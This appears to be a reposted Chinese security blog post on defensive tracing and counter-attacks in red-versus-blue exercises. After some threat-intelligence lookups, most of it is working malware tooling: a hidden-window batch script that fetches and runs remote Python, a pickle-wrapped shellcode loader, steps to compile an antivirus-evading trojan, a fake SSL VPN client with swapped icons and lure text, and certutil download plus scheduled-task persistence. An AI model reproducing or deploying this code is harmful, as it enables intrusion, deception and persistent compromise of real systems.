现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安“设为星标”,否则可能看不到了!
前言
作者在前段时间也是承担着防守队的职责,通过溯源反制追回了几千分的分数。接下来作者会站在防守者的角度来说一说溯源反制在攻防演练中如何进行。
防守队溯源方法
首先溯源讲究的就是有效还原攻击链:
1. 攻击者是通过“哪个系统”+“哪个漏洞”打进来的,确认攻击IP有哪些。
2. 攻击者打到内网后做了什么操作,例如“流量代理”+“内网穿透”。
3. 最后总结哪些互联网和内网系统被拿下了,并且通过安全流量设备等方式证明攻击者的攻击动作。
微步在线情报社区:https://x.threatbook.com/
通过微步在线情报社区可以获取到该服务器的信息,信息模块如下。
奇安信威胁情报中心:https://ti.qianxin.com
通过奇安信威胁情报中心可以获取到该服务器的信息,信息模块如下,通过注册的域名可以反查到注册者的个人信息,这里可以做个报告发给裁判审核,说不定运气好就是攻击者的个人信息。
这里有个反制的思路,就是通过主机信息可以看到该服务器开放了多个端口,有些攻击者会在自己服务器上搭建“灯塔”、“Awvs”、“Nessus”等扫描系统,这时候如果能通过口令枚举等途径获取到服务器权限,也是能够给防守进行加分的。
写个bat脚本,然后将shell脚本命令写在里面,然后通过伪装一下诱导攻击者去点击(例如zip压缩包自解压执行)
@echo off
if "%1"=="h" goto begin
Start mshta vbscript:createobject("wscript.shell").run("""%~nx0""h",0)(window.close)&&exit
:begin
python -c "import urllib2; exec urllib2.urlopen('http://ip:8090/a').read()
代码test1.py
import pickle
import base64
shellcode = """
import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://ip/base64.txt').read()
shellcode = base64.b64encode(shellcode)
shellcode = base64.b64decode(shellcode)
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape\_decode(shellcode)\[0\]
shellcode = bytearray(shellcode)
\# 设置VirtualAlloc返回类型为ctypes.c\_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c\_uint64
\# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c\_int(0), ctypes.c\_int(len(shellcode)), ctypes.c\_int(0x3000), ctypes.c\_int(0x40))
\# 放入shellcode
buf = (ctypes.c\_char \* len(shellcode)).from\_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c\_uint64(ptr),
buf,
ctypes.c\_int(len(shellcode))
)
\# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c\_int(0),
ctypes.c\_int(0),
ctypes.c\_uint64(ptr),
ctypes.c\_int(0),
ctypes.c\_int(0),
ctypes.pointer(ctypes.c\_int(0))
)
\# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c\_int(handle),ctypes.c\_int(-1))"""
class A(object):
def \_\_reduce\_\_(self):
return (exec, (shellcode,))
ret = pickle.dumps(A())
ret\_base64 = base64.b64encode(ret)
print(ret\_base64)
代码test2.py
mport base64,pickle,ctypes
shellcode=b'这里填上面python脚本输出的数据'
pickle.loads(base64.b64decode(shellcode))
生成exe文件,一个比较简单的免杀木马,可以绕过杀毒软件
nuitka --mingw64 --standalone --show-memory --show-progress --windows-company-name=test --windows-product-name=test --windows-file-version=1.0 --windows-product-version=1.0 --windows-file-description=test --windows-disable-console --nofollow-imports --follow-import-to=utils,src --onefile --output-dir=out test2.py
伪装成防守队攻击的sslvpn,利用BeCyIconGrabber.exe获取sslvpn的ico图标
接着用工具Restorator 2018.exe替换图标,就可以伪造成一个sslvpn程序了
攻击者会对范围内的系统进行信息收集和攻击利用,这个时候,只需要将免杀木马和vpn连接的教程文档放在一个www.zip的压缩里面,稍微需要伪装一下,可以用类似这样的话术来欺骗攻击者:
vpn测试,仅内部员工使用!
点击文件夹中vpn程序,输入地址和端口
请输入账号密码xxx/[email protected]#123,即可访问资源
这里还是写个bat脚本文件,先利用certutil下载后门木马文件,然后做一个定时任务test,在每日下午16:18分运行后门木马文件。
@echo off
if "%1"=="h" goto begin
start mshta vbscript:createobject("wscript.shell").run("""%~nx0""h",0)(window.close)&&exit
:begin
copy c:\\windows\\system32\\certutil.exe a.exe
a.exe -urlcache -split -f http://ip/test123.exe D://test123.exe
schtasks /create /tn test /tr D:\\\\test123.exe /sc daily /st 16:18
总结
文章来源:奇安信攻防社区(和风)
原文地址:https://forum.butian.net/share/2325
关注我们
还在等什么?赶紧点击下方名片开始学习吧!
信 安 考 证
CISP、PTE、PTS、DSG、IRE、IRS、NISP、PMP、CCSK、CISSP、ISO27001...
推 荐 阅 读